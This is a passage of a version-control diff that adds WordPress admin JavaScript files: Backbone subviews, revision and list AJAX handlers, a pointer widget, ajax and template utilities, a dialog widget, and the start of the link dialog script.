+		// Fires the ready event on the current view and all attached subviews.
+		ready: function() {
+			this.view.trigger('ready');
+
+			// Find all attached subviews, and call ready on them.
+			_.chain( this.all() ).map( function( view ) {
+				return view.views;
+			}).flatten().where({ attached: true }).invoke('ready');
+		},
+
+		// #### Internal. Attaches a series of views to a selector.
+		//
+		// Checks to see if a matching selector exists, renders the views,
+		// performs the proper DOM operation, and then checks if the view is
+		// attached to the document.
+		_attach: function( selector, views, options ) {
+			var $selector = selector ? this.view.$( selector ) : this.view.$el,
+				managers;
+
+			// Check if we found a location to attach the views.
+			if ( ! $selector.length )
+				return this;
+
+			managers = _.chain( views ).pluck('views').flatten().value();
+
+			// Render the views if necessary.
+			_.each( managers, function( manager ) {
+				if ( manager.rendered )
+					return;
+
+				manager.view.render();
+				manager.rendered = true;
+			}, this );
+
+			// Insert or replace the views.
+			this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options );
+
+			// Set attached and trigger ready if the current view is already
+			// attached to the DOM.
+			_.each( managers, function( manager ) {
+				manager.attached = true;
+
+				if ( options.ready )
+					manager.ready();
+			}, this );
+
+			return this;
+		},
+
+		// #### Internal. Checks if the current view is in the DOM.
+		_isReady: function() {
+			var node = this.view.el;
+			while ( node ) {
+				if ( node === document.body )
+					return true;
+				node = node.parentNode;
+			}
+
+			return false;
+		}
+	});
+
+
+	// wp.Backbone.View
+	// ----------------
+	//
+	// The base view class.
+	wp.Backbone.View = Backbone.View.extend({
+		// The constructor for the `Views` manager.
+		Subviews: wp.Backbone.Subviews,
+
+		constructor: function( options ) {
+			this.views = new this.Subviews( this, this.views );
+			this.on( 'ready', this.ready, this );
+
+			this.options = options || {};
+
+			Backbone.View.apply( this, arguments );
+		},
+
+		remove: function() {
+			var result = Backbone.View.prototype.remove.apply( this, arguments );
+
+			// Recursively remove child views.
+			if ( this.views )
+				this.views.remove();
+
+			return result;
+		},
+
+		render: function() {
+			var options;
+
+			if ( this.prepare )
+				options = this.prepare();
+
+			this.views.detach();
+
+			if ( this.template ) {
+				options = options || {};
+				this.trigger( 'prepare', options );
+				this.$el.html( this.template( options ) );
+			}
+
+			this.views.render();
+			return this;
+		},
+
+		prepare: function() {
+			return this.options;
+		},
+
+		ready: function() {}
+	});
+}(jQuery));
Index: /tags/4.1.6/src/wp-includes/js/wp-list-revisions.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wp-list-revisions.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wp-list-revisions.js	(revision 33402)
@@ -0,0 +1,24 @@
+(function(w) {
+	var init = function() {
+		var pr = document.getElementById('post-revisions'),
+		inputs = pr ? pr.getElementsByTagName('input') : [];
+		pr.onclick = function() {
+			var i, checkCount = 0, side;
+			for ( i = 0; i < inputs.length; i++ ) {
+				checkCount += inputs[i].checked ? 1 : 0;
+				side = inputs[i].getAttribute('name');
+				if ( ! inputs[i].checked &&
+				( 'left' == side && 1 > checkCount || 'right' == side && 1 < checkCount && ( ! inputs[i-1] || ! inputs[i-1].checked ) ) &&
+				! ( inputs[i+1] && inputs[i+1].checked && 'right' == inputs[i+1].getAttribute('name') ) )
+					inputs[i].style.visibility = 'hidden';
+				else if ( 'left' == side || 'right' == side )
+					inputs[i].style.visibility = 'visible';
+			}
+		};
+		pr.onclick();
+	};
+	if ( w && w.addEventListener )
+		w.addEventListener('load', init, false);
+	else if ( w && w.attachEvent )
+		w.attachEvent('onload', init);
+})(window);
Index: /tags/4.1.6/src/wp-includes/js/wp-lists.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wp-lists.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wp-lists.js	(revision 33402)
@@ -0,0 +1,469 @@
+/* global ajaxurl, wpAjax */
+(function($) {
+var fs = {add:'ajaxAdd',del:'ajaxDel',dim:'ajaxDim',process:'process',recolor:'recolor'}, wpList;
+
+wpList = {
+	settings: {
+		url: ajaxurl, type: 'POST',
+		response: 'ajax-response',
+
+		what: '',
+		alt: 'alternate', altOffset: 0,
+		addColor: null, delColor: null, dimAddColor: null, dimDelColor: null,
+
+		confirm: null,
+		addBefore: null, addAfter: null,
+		delBefore: null, delAfter: null,
+		dimBefore: null, dimAfter: null
+	},
+
+	nonce: function(e,s) {
+		var url = wpAjax.unserialize(e.attr('href'));
+		return s.nonce || url._ajax_nonce || $('#' + s.element + ' input[name="_ajax_nonce"]').val() || url._wpnonce || $('#' + s.element + ' input[name="_wpnonce"]').val() || 0;
+	},
+
+	parseData: function(e,t) {
+		var d = [], wpListsData;
+
+		try {
+			wpListsData = $(e).attr('data-wp-lists') || '';
+			wpListsData = wpListsData.match(new RegExp(t+':[\\S]+'));
+
+			if ( wpListsData )
+				d = wpListsData[0].split(':');
+		} catch(r) {}
+
+		return d;
+	},
+
+	pre: function(e,s,a) {
+		var bg, r;
+
+		s = $.extend( {}, this.wpList.settings, {
+			element: null,
+			nonce: 0,
+			target: e.get(0)
+		}, s || {} );
+
+		if ( $.isFunction( s.confirm ) ) {
+			if ( 'add' != a ) {
+				bg = $('#' + s.element).css('backgroundColor');
+				$('#' + s.element).css('backgroundColor', '#FF9966');
+			}
+			r = s.confirm.call(this, e, s, a, bg);
+
+			if ( 'add' != a )
+				$('#' + s.element).css('backgroundColor', bg );
+
+			if ( !r )
+				return false;
+		}
+
+		return s;
+	},
+
+	ajaxAdd: function( e, s ) {
+		e = $(e);
+		s = s || {};
+		var list = this, data = wpList.parseData(e,'add'), es, valid, formData, res, rres;
+
+		s = wpList.pre.call( list, e, s, 'add' );
+
+		s.element = data[2] || e.attr( 'id' ) || s.element || null;
+
+		if ( data[3] )
+			s.addColor = '#' + data[3];
+		else
+			s.addColor = s.addColor || '#FFFF33';
+
+		if ( !s )
+			return false;
+
+		if ( !e.is('[id="' + s.element + '-submit"]') )
+			return !wpList.add.call( list, e, s );
+
+		if ( !s.element )
+			return true;
+
+		s.action = 'add-' + s.what;
+
+		s.nonce = wpList.nonce(e,s);
+
+		es = $('#' + s.element + ' :input').not('[name="_ajax_nonce"], [name="_wpnonce"], [name="action"]');
+		valid = wpAjax.validateForm( '#' + s.element );
+
+		if ( !valid )
+			return false;
+
+		s.data = $.param( $.extend( { _ajax_nonce: s.nonce, action: s.action }, wpAjax.unserialize( data[4] || '' ) ) );
+		formData = $.isFunction(es.fieldSerialize) ? es.fieldSerialize() : es.serialize();
+
+		if ( formData )
+			s.data += '&' + formData;
+
+		if ( $.isFunction(s.addBefore) ) {
+			s = s.addBefore( s );
+			if ( !s )
+				return true;
+		}
+
+		if ( !s.data.match(/_ajax_nonce=[a-f0-9]+/) )
+			return true;
+
+		s.success = function(r) {
+			res = wpAjax.parseAjaxResponse(r, s.response, s.element);
+
+			rres = r;
+
+			if ( !res || res.errors )
+				return false;
+
+			if ( true === res )
+				return true;
+
+			jQuery.each( res.responses, function() {
+				wpList.add.call( list, this.data, $.extend( {}, s, { // this.firstChild.nodevalue
+					pos: this.position || 0,
+					id: this.id || 0,
+					oldId: this.oldId || null
+				} ) );
+			} );
+
+			list.wpList.recolor();
+			$(list).trigger( 'wpListAddEnd', [ s, list.wpList ] );
+			wpList.clear.call(list,'#' + s.element);
+		};
+
+		s.complete = function(x, st) {
+			if ( $.isFunction(s.addAfter) ) {
+				var _s = $.extend( { xml: x, status: st, parsed: res }, s );
+				s.addAfter( rres, _s );
+			}
+		};
+
+		$.ajax( s );
+		return false;
+	},
+
+	ajaxDel: function( e, s ) {
+		e = $(e);
+		s = s || {};
+		var list = this, data = wpList.parseData(e,'delete'), element, res, rres;
+
+		s = wpList.pre.call( list, e, s, 'delete' );
+
+		s.element = data[2] || s.element || null;
+
+		if ( data[3] )
+			s.delColor = '#' + data[3];
+		else
+			s.delColor = s.delColor || '#faa';
+
+		if ( !s || !s.element )
+			return false;
+
+		s.action = 'delete-' + s.what;
+
+		s.nonce = wpList.nonce(e,s);
+
+		s.data = $.extend(
+			{ action: s.action, id: s.element.split('-').pop(), _ajax_nonce: s.nonce },
+			wpAjax.unserialize( data[4] || '' )
+		);
+
+		if ( $.isFunction(s.delBefore) ) {
+			s = s.delBefore( s, list );
+			if ( !s )
+				return true;
+		}
+
+		if ( !s.data._ajax_nonce )
+			return true;
+
+		element = $('#' + s.element);
+
+		if ( 'none' != s.delColor ) {
+			element.css( 'backgroundColor', s.delColor ).fadeOut( 350, function(){
+				list.wpList.recolor();
+				$(list).trigger( 'wpListDelEnd', [ s, list.wpList ] );
+			});
+		} else {
+			list.wpList.recolor();
+			$(list).trigger( 'wpListDelEnd', [ s, list.wpList ] );
+		}
+
+		s.success = function(r) {
+			res = wpAjax.parseAjaxResponse(r, s.response, s.element);
+			rres = r;
+
+			if ( !res || res.errors ) {
+				element.stop().stop().css( 'backgroundColor', '#faa' ).show().queue( function() { list.wpList.recolor(); $(this).dequeue(); } );
+				return false;
+			}
+		};
+
+		s.complete = function(x, st) {
+			if ( $.isFunction(s.delAfter) ) {
+				element.queue( function() {
+					var _s = $.extend( { xml: x, status: st, parsed: res }, s );
+					s.delAfter( rres, _s );
+				}).dequeue();
+			}
+		};
+
+		$.ajax( s );
+		return false;
+	},
+
+	ajaxDim: function( e, s ) {
+		if ( $(e).parent().css('display') == 'none' ) // Prevent hidden links from being clicked by hotkeys
+			return false;
+
+		e = $(e);
+		s = s || {};
+
+		var list = this, data = wpList.parseData(e,'dim'), element, isClass, color, dimColor, res, rres;
+
+		s = wpList.pre.call( list, e, s, 'dim' );
+
+		s.element = data[2] || s.element || null;
+		s.dimClass =  data[3] || s.dimClass || null;
+
+		if ( data[4] )
+			s.dimAddColor = '#' + data[4];
+		else
+			s.dimAddColor = s.dimAddColor || '#FFFF33';
+
+		if ( data[5] )
+			s.dimDelColor = '#' + data[5];
+		else
+			s.dimDelColor = s.dimDelColor || '#FF3333';
+
+		if ( !s || !s.element || !s.dimClass )
+			return true;
+
+		s.action = 'dim-' + s.what;
+
+		s.nonce = wpList.nonce(e,s);
+
+		s.data = $.extend(
+			{ action: s.action, id: s.element.split('-').pop(), dimClass: s.dimClass, _ajax_nonce : s.nonce },
+			wpAjax.unserialize( data[6] || '' )
+		);
+
+		if ( $.isFunction(s.dimBefore) ) {
+			s = s.dimBefore( s );
+			if ( !s )
+				return true;
+		}
+
+		element = $('#' + s.element);
+		isClass = element.toggleClass(s.dimClass).is('.' + s.dimClass);
+		color = wpList.getColor( element );
+		element.toggleClass( s.dimClass );
+		dimColor = isClass ? s.dimAddColor : s.dimDelColor;
+
+		if ( 'none' != dimColor ) {
+			element
+				.animate( { backgroundColor: dimColor }, 'fast' )
+				.queue( function() { element.toggleClass(s.dimClass); $(this).dequeue(); } )
+				.animate( { backgroundColor: color }, { complete: function() {
+						$(this).css( 'backgroundColor', '' );
+						$(list).trigger( 'wpListDimEnd', [ s, list.wpList ] );
+					}
+				});
+		} else {
+			$(list).trigger( 'wpListDimEnd', [ s, list.wpList ] );
+		}
+
+		if ( !s.data._ajax_nonce )
+			return true;
+
+		s.success = function(r) {
+			res = wpAjax.parseAjaxResponse(r, s.response, s.element);
+			rres = r;
+
+			if ( !res || res.errors ) {
+				element.stop().stop().css( 'backgroundColor', '#FF3333' )[isClass?'removeClass':'addClass'](s.dimClass).show().queue( function() { list.wpList.recolor(); $(this).dequeue(); } );
+				return false;
+			}
+		};
+
+		s.complete = function(x, st) {
+			if ( $.isFunction(s.dimAfter) ) {
+				element.queue( function() {
+					var _s = $.extend( { xml: x, status: st, parsed: res }, s );
+					s.dimAfter( rres, _s );
+				}).dequeue();
+			}
+		};
+
+		$.ajax( s );
+		return false;
+	},
+
+	getColor: function( el ) {
+		var color = jQuery(el).css('backgroundColor');
+
+		return color || '#ffffff';
+	},
+
+	add: function( e, s ) {
+		if ( 'string' == typeof e ) {
+			e = $( $.trim( e ) ); // Trim leading whitespaces
+		} else {
+			e = $( e );
+		}
+
+		var list = $(this), old = false, _s = { pos: 0, id: 0, oldId: null }, ba, ref, color;
+
+		if ( 'string' == typeof s )
+			s = { what: s };
+
+		s = $.extend(_s, this.wpList.settings, s);
+
+		if ( !e.size() || !s.what )
+			return false;
+
+		if ( s.oldId )
+			old = $('#' + s.what + '-' + s.oldId);
+
+		if ( s.id && ( s.id != s.oldId || !old || !old.size() ) )
+			$('#' + s.what + '-' + s.id).remove();
+
+		if ( old && old.size() ) {
+			old.before(e);
+			old.remove();
+		} else if ( isNaN(s.pos) ) {
+			ba = 'after';
+
+			if ( '-' == s.pos.substr(0,1) ) {
+				s.pos = s.pos.substr(1);
+				ba = 'before';
+			}
+
+			ref = list.find( '#' + s.pos );
+
+			if ( 1 === ref.size() )
+				ref[ba](e);
+			else
+				list.append(e);
+
+		} else if ( 'comment' != s.what || 0 === $('#' + s.element).length ) {
+			if ( s.pos < 0 ) {
+				list.prepend(e);
+			} else {
+				list.append(e);
+			}
+		}
+
+		if ( s.alt ) {
+			if ( ( list.children(':visible').index( e[0] ) + s.altOffset ) % 2 ) { e.removeClass( s.alt ); }
+			else { e.addClass( s.alt ); }
+		}
+
+		if ( 'none' != s.addColor ) {
+			color = wpList.getColor( e );
+			e.css( 'backgroundColor', s.addColor ).animate( { backgroundColor: color }, { complete: function() { $(this).css( 'backgroundColor', '' ); } } );
+		}
+		list.each( function() { this.wpList.process( e ); } );
+		return e;
+	},
+
+	clear: function(e) {
+		var list = this, t, tag;
+
+		e = $(e);
+
+		if ( list.wpList && e.parents( '#' + list.id ).size() )
+			return;
+
+		e.find(':input').each( function() {
+			if ( $(this).parents('.form-no-clear').size() )
+				return;
+
+			t = this.type.toLowerCase();
+			tag = this.tagName.toLowerCase();
+
+			if ( 'text' == t || 'password' == t || 'textarea' == tag )
+				this.value = '';
+			else if ( 'checkbox' == t || 'radio' == t )
+				this.checked = false;
+			else if ( 'select' == tag )
+				this.selectedIndex = null;
+		});
+	},
+
+	process: function(el) {
+		var list = this,
+			$el = $(el || document);
+
+		$el.delegate( 'form[data-wp-lists^="add:' + list.id + ':"]', 'submit', function(){
+			return list.wpList.add(this);
+		});
+
+		$el.delegate( 'a[data-wp-lists^="add:' + list.id + ':"], input[data-wp-lists^="add:' + list.id + ':"]', 'click', function(){
+			return list.wpList.add(this);
+		});
+
+		$el.delegate( '[data-wp-lists^="delete:' + list.id + ':"]', 'click', function(){
+			return list.wpList.del(this);
+		});
+
+		$el.delegate( '[data-wp-lists^="dim:' + list.id + ':"]', 'click', function(){
+			return list.wpList.dim(this);
+		});
+	},
+
+	recolor: function() {
+		var list = this, items, eo;
+
+		if ( !list.wpList.settings.alt )
+			return;
+
+		items = $('.list-item:visible', list);
+
+		if ( !items.size() )
+			items = $(list).children(':visible');
+
+		eo = [':even',':odd'];
+
+		if ( list.wpList.settings.altOffset % 2 )
+			eo.reverse();
+
+		items.filter(eo[0]).addClass(list.wpList.settings.alt).end().filter(eo[1]).removeClass(list.wpList.settings.alt);
+	},
+
+	init: function() {
+		var lists = this;
+
+		lists.wpList.process = function(a) {
+			lists.each( function() {
+				this.wpList.process(a);
+			} );
+		};
+
+		lists.wpList.recolor = function() {
+			lists.each( function() {
+				this.wpList.recolor();
+			} );
+		};
+	}
+};
+
+$.fn.wpList = function( settings ) {
+	this.each( function() {
+		var _this = this;
+
+		this.wpList = { settings: $.extend( {}, wpList.settings, { what: wpList.parseData(this,'list')[1] || '' }, settings ) };
+		$.each( fs, function(i,f) { _this.wpList[i] = function( e, s ) { return wpList[f].call( _this, e, s ); }; } );
+	} );
+
+	wpList.init.call(this);
+
+	this.wpList.process();
+
+	return this;
+};
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/wp-pointer.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wp-pointer.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wp-pointer.js	(revision 33402)
@@ -0,0 +1,282 @@
+/* global wpPointerL10n */
+/**
+ * Pointer jQuery widget.
+ */
+(function($){
+	var identifier = 0,
+		zindex = 9999;
+
+	$.widget('wp.pointer', {
+		options: {
+			pointerClass: 'wp-pointer',
+			pointerWidth: 320,
+			content: function() {
+				return $(this).text();
+			},
+			buttons: function( event, t ) {
+				var close  = ( wpPointerL10n ) ? wpPointerL10n.dismiss : 'Dismiss',
+					button = $('<a class="close" href="#">' + close + '</a>');
+
+				return button.bind( 'click.pointer', function(e) {
+					e.preventDefault();
+					t.element.pointer('close');
+				});
+			},
+			position: 'top',
+			show: function( event, t ) {
+				t.pointer.show();
+				t.opened();
+			},
+			hide: function( event, t ) {
+				t.pointer.hide();
+				t.closed();
+			},
+			document: document
+		},
+
+		_create: function() {
+			var positioning,
+				family;
+
+			this.content = $('<div class="wp-pointer-content"></div>');
+			this.arrow   = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
+
+			family = this.element.parents().add( this.element );
+			positioning = 'absolute';
+
+			if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
+				positioning = 'fixed';
+
+			this.pointer = $('<div />')
+				.append( this.content )
+				.append( this.arrow )
+				.attr('id', 'wp-pointer-' + identifier++)
+				.addClass( this.options.pointerClass )
+				.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
+				.appendTo( this.options.document.body );
+		},
+
+		_setOption: function( key, value ) {
+			var o   = this.options,
+				tip = this.pointer;
+
+			// Handle document transfer
+			if ( key === 'document' && value !== o.document ) {
+				tip.detach().appendTo( value.body );
+
+			// Handle class change
+			} else if ( key === 'pointerClass' ) {
+				tip.removeClass( o.pointerClass ).addClass( value );
+			}
+
+			// Call super method.
+			$.Widget.prototype._setOption.apply( this, arguments );
+
+			// Reposition automatically
+			if ( key === 'position' ) {
+				this.reposition();
+
+			// Update content automatically if pointer is open
+			} else if ( key === 'content' && this.active ) {
+				this.update();
+			}
+		},
+
+		destroy: function() {
+			this.pointer.remove();
+			$.Widget.prototype.destroy.call( this );
+		},
+
+		widget: function() {
+			return this.pointer;
+		},
+
+		update: function( event ) {
+			var self = this,
+				o    = this.options,
+				dfd  = $.Deferred(),
+				content;
+
+			if ( o.disabled )
+				return;
+
+			dfd.done( function( content ) {
+				self._update( event, content );
+			});
+
+			// Either o.content is a string...
+			if ( typeof o.content === 'string' ) {
+				content = o.content;
+
+			// ...or o.content is a callback.
+			} else {
+				content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
+			}
+
+			// If content is set, then complete the update.
+			if ( content )
+				dfd.resolve( content );
+
+			return dfd.promise();
+		},
+
+		/**
+		 * Update is separated into two functions to allow events to defer
+		 * updating the pointer (e.g. fetch content with ajax, etc).
+		 */
+		_update: function( event, content ) {
+			var buttons,
+				o = this.options;
+
+			if ( ! content )
+				return;
+
+			this.pointer.stop(); // Kill any animations on the pointer.
+			this.content.html( content );
+
+			buttons = o.buttons.call( this.element[0], event, this._handoff() );
+			if ( buttons ) {
+				buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
+			}
+
+			this.reposition();
+		},
+
+		reposition: function() {
+			var position;
+
+			if ( this.options.disabled )
+				return;
+
+			position = this._processPosition( this.options.position );
+
+			// Reposition pointer.
+			this.pointer.css({
+				top: 0,
+				left: 0,
+				zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
+			}).show().position($.extend({
+				of: this.element,
+				collision: 'fit none'
+			}, position )); // the object comes before this.options.position so the user can override position.of.
+
+			this.repoint();
+		},
+
+		repoint: function() {
+			var o = this.options,
+				edge;
+
+			if ( o.disabled )
+				return;
+
+			edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
+
+			// Remove arrow classes.
+			this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
+
+			// Add arrow class.
+			this.pointer.addClass( 'wp-pointer-' + edge );
+		},
+
+		_processPosition: function( position ) {
+			var opposite = {
+					top: 'bottom',
+					bottom: 'top',
+					left: 'right',
+					right: 'left'
+				},
+				result;
+
+			// If the position object is a string, it is shorthand for position.edge.
+			if ( typeof position == 'string' ) {
+				result = {
+					edge: position + ''
+				};
+			} else {
+				result = $.extend( {}, position );
+			}
+
+			if ( ! result.edge )
+				return result;
+
+			if ( result.edge == 'top' || result.edge == 'bottom' ) {
+				result.align = result.align || 'left';
+
+				result.at = result.at || result.align + ' ' + opposite[ result.edge ];
+				result.my = result.my || result.align + ' ' + result.edge;
+			} else {
+				result.align = result.align || 'top';
+
+				result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
+				result.my = result.my || result.edge + ' ' + result.align;
+			}
+
+			return result;
+		},
+
+		open: function( event ) {
+			var self = this,
+				o    = this.options;
+
+			if ( this.active || o.disabled || this.element.is(':hidden') )
+				return;
+
+			this.update().done( function() {
+				self._open( event );
+			});
+		},
+
+		_open: function( event ) {
+			var self = this,
+				o    = this.options;
+
+			if ( this.active || o.disabled || this.element.is(':hidden') )
+				return;
+
+			this.active = true;
+
+			this._trigger( 'open', event, this._handoff() );
+
+			this._trigger( 'show', event, this._handoff({
+				opened: function() {
+					self._trigger( 'opened', event, self._handoff() );
+				}
+			}));
+		},
+
+		close: function( event ) {
+			if ( !this.active || this.options.disabled )
+				return;
+
+			var self = this;
+			this.active = false;
+
+			this._trigger( 'close', event, this._handoff() );
+			this._trigger( 'hide', event, this._handoff({
+				closed: function() {
+					self._trigger( 'closed', event, self._handoff() );
+				}
+			}));
+		},
+
+		sendToTop: function() {
+			if ( this.active )
+				this.pointer.css( 'z-index', zindex++ );
+		},
+
+		toggle: function( event ) {
+			if ( this.pointer.is(':hidden') )
+				this.open( event );
+			else
+				this.close( event );
+		},
+
+		_handoff: function( extend ) {
+			return $.extend({
+				pointer: this.pointer,
+				element: this.element
+			}, extend);
+		}
+	});
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/wp-util.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wp-util.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wp-util.js	(revision 33402)
@@ -0,0 +1,112 @@
+/* global _wpUtilSettings */
+window.wp = window.wp || {};
+
+(function ($) {
+	// Check for the utility settings.
+	var settings = typeof _wpUtilSettings === 'undefined' ? {} : _wpUtilSettings;
+
+	/**
+	 * wp.template( id )
+	 *
+	 * Fetch a JavaScript template for an id, and return a templating function for it.
+	 *
+	 * @param  {string} id   A string that corresponds to a DOM element with an id prefixed with "tmpl-".
+	 *                       For example, "attachment" maps to "tmpl-attachment".
+	 * @return {function}    A function that lazily-compiles the template requested.
+	 */
+	wp.template = _.memoize(function ( id ) {
+		var compiled,
+			/*
+			 * Underscore's default ERB-style templates are incompatible with PHP
+			 * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax.
+			 *
+			 * @see trac ticket #22344.
+			 */
+			options = {
+				evaluate:    /<#([\s\S]+?)#>/g,
+				interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
+				escape:      /\{\{([^\}]+?)\}\}(?!\})/g,
+				variable:    'data'
+			};
+
+		return function ( data ) {
+			compiled = compiled || _.template( $( '#tmpl-' + id ).html(), null, options );
+			return compiled( data );
+		};
+	});
+
+	// wp.ajax
+	// ------
+	//
+	// Tools for sending ajax requests with JSON responses and built in error handling.
+	// Mirrors and wraps jQuery's ajax APIs.
+	wp.ajax = {
+		settings: settings.ajax || {},
+
+		/**
+		 * wp.ajax.post( [action], [data] )
+		 *
+		 * Sends a POST request to WordPress.
+		 *
+		 * @param  {string} action The slug of the action to fire in WordPress.
+		 * @param  {object} data   The data to populate $_POST with.
+		 * @return {$.promise}     A jQuery promise that represents the request.
+		 */
+		post: function( action, data ) {
+			return wp.ajax.send({
+				data: _.isObject( action ) ? action : _.extend( data || {}, { action: action })
+			});
+		},
+
+		/**
+		 * wp.ajax.send( [action], [options] )
+		 *
+		 * Sends a POST request to WordPress.
+		 *
+		 * @param  {string} action  The slug of the action to fire in WordPress.
+		 * @param  {object} options The options passed to jQuery.ajax.
+		 * @return {$.promise}      A jQuery promise that represents the request.
+		 */
+		send: function( action, options ) {
+			if ( _.isObject( action ) ) {
+				options = action;
+			} else {
+				options = options || {};
+				options.data = _.extend( options.data || {}, { action: action });
+			}
+
+			options = _.defaults( options || {}, {
+				type:    'POST',
+				url:     wp.ajax.settings.url,
+				context: this
+			});
+
+			return $.Deferred( function( deferred ) {
+				// Transfer success/error callbacks.
+				if ( options.success )
+					deferred.done( options.success );
+				if ( options.error )
+					deferred.fail( options.error );
+
+				delete options.success;
+				delete options.error;
+
+				// Use with PHP's wp_send_json_success() and wp_send_json_error()
+				$.ajax( options ).done( function( response ) {
+					// Treat a response of `1` as successful for backwards
+					// compatibility with existing handlers.
+					if ( response === '1' || response === 1 )
+						response = { success: true };
+
+					if ( _.isObject( response ) && ! _.isUndefined( response.success ) )
+						deferred[ response.success ? 'resolveWith' : 'rejectWith' ]( this, [response.data] );
+					else
+						deferred.rejectWith( this, [response] );
+				}).fail( function() {
+					deferred.rejectWith( this, arguments );
+				});
+			}).promise();
+		}
+	};
+
+}(jQuery));
Index: /tags/4.1.6/src/wp-includes/js/wpdialog.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wpdialog.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wpdialog.js	(revision 33402)
@@ -0,0 +1,19 @@
+( function($) {
+	$.widget('wp.wpdialog', $.ui.dialog, {
+		open: function() {
+			// Add beforeOpen event.
+			if ( this.isOpen() || false === this._trigger('beforeOpen') ) {
+				return;
+			}
+
+			// Open the dialog.
+			this._super();
+			// WebKit leaves focus in the TinyMCE editor unless we shift focus.
+			this.element.focus();
+			this._trigger('refresh');
+		}
+	});
+
+	$.wp.wpdialog.prototype.options.closeOnEscape = false;
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/wplink.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wplink.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wplink.js	(revision 33402)
@@ -0,0 +1,619 @@
+/* global ajaxurl, tinymce, wpLinkL10n, setUserSetting, wpActiveEditor */
+var wpLink;
+
+( function( $ ) {
+	var editor, searchTimer, River, Query,
+		inputs = {},
+		rivers = {},
+		isTouch = ( 'ontouchend' in document );
+
+	wpLink = {
+		timeToTriggerRiver: 150,
+		minRiverAJAXDuration: 200,
+		riverBottomThreshold: 5,
+		keySensitivity: 100,
+		lastSearch: '',
+		textarea: '',
+
+		init: function() {
+			inputs.wrap = $('#wp-link-wrap');
+			inputs.dialog = $( '#wp-link' );
+			inputs.backdrop = $( '#wp-link-backdrop' );
+			inputs.submit = $( '#wp-link-submit' );
+			inputs.close = $( '#wp-link-close' );
+			// URL
+			inputs.url = $( '#url-field' );
+			inputs.nonce = $( '#_ajax_linking_nonce' );
+			// Secondary options
+			inputs.title = $( '#link-title-field' );
+			// Advanced Options
+			inputs.openInNewTab = $( '#link-target-checkbox' );
+			inputs.search = $( '#search-field' );
+			// Build Rivers
+			rivers.search = new River( $( '#search-results' ) );
+			rivers.recent = new River( $( '#most-recent-results' ) );
+			rivers.elements = inputs.dialog.find( '.query-results' );
+
+			// Get search notice text
+			inputs.queryNotice = $( '#query-notice-message' );
+			inputs.queryNoticeTextDefault = inputs.queryNotice.find( '.query-notice-default' );
+			inputs.queryNoticeTextHint = inputs.queryNotice.find( '.query-notice-hint' );
+
+			// Bind event handlers
+			inputs.dialog.keydown( wpLink.keydown );
+			inputs.dialog.keyup( wpLink.keyup );
+			inputs.submit.click( function( event ) {
+				event.preventDefault();
+				wpLink.update();
+			});
+			inputs.close.add( inputs.backdrop ).add( '#wp-link-cancel a' ).click( function( event ) {
+				event.preventDefault();
+				wpLink.close();
+			});
+
+			$( '#wp-link-search-toggle' ).on( 'click', wpLink.toggleInternalLinking );
+
+			rivers.elements.on( 'river-select', wpLink.updateFields );
+
+			// Display 'hint' message when search field or 'query-results' box are focused
+			inputs.search.on( 'focus.wplink', function() {
+				inputs.queryNoticeTextDefault.hide();
+				inputs.queryNoticeTextHint.removeClass( 'screen-reader-text' ).show();
+			} ).on( 'blur.wplink', function() {
+				inputs.queryNoticeTextDefault.show();
+				inputs.queryNoticeTextHint.addClass( 'screen-reader-text' ).hide();
+			} );
+
+			inputs.search.keyup( function() {
+				var self = this;
+
+				window.clearTimeout( searchTimer );
+				searchTimer = window.setTimeout( function() {
+					wpLink.searchInternalLinks.call( self );
+				}, 500 );
+			});
+		},
+
+		open: function( editorId ) {
+			var ed;
+
+			$( document.body ).addClass( 'modal-open' );
+
+			wpLink.range = null;
+
+			if ( editorId ) {
+				window.wpActiveEditor = editorId;
+			}
+
+			if ( ! window.wpActiveEditor ) {
+				return;
+			}
+
+			this.textarea = $( '#' + window.wpActiveEditor ).get( 0 );
+
+			if ( typeof tinymce !== 'undefined' ) {
+				ed = tinymce.get( wpActiveEditor );
+
+				if ( ed && ! ed.isHidden() ) {
+					editor = ed;
+				} else {
+					editor = null;
+				}
+
+				if ( editor && tinymce.isIE ) {
+					editor.windowManager.bookmark = editor.selection.getBookmark();
+				}
+			}
+
+			if ( ! wpLink.isMCE() && document.selection ) {
+				this.textarea.focus();
+				this.range = document.selection.createRange();
+			}
+
+			inputs.wrap.show();
+			inputs.backdrop.show();
+
+			wpLink.refresh();
+			$( document ).trigger( 'wplink-open', inputs.wrap );
+		},
+
+		isMCE: function() {
+			return editor && ! editor.isHidden();
+		},
+
+		refresh: function() {
+			// Refresh rivers (clear links, check visibility)
+			rivers.search.refresh();
+			rivers.recent.refresh();
+
+			if ( wpLink.isMCE() ) {
+				wpLink.mceRefresh();
+			} else {
+				wpLink.setDefaultValues();
+			}
+
+			if ( isTouch ) {
+				// Close the onscreen keyboard
+				inputs.url.focus().blur();
+			} else {
+				// Focus the URL field and highlight its contents.
+				// If this is moved above the selection changes,
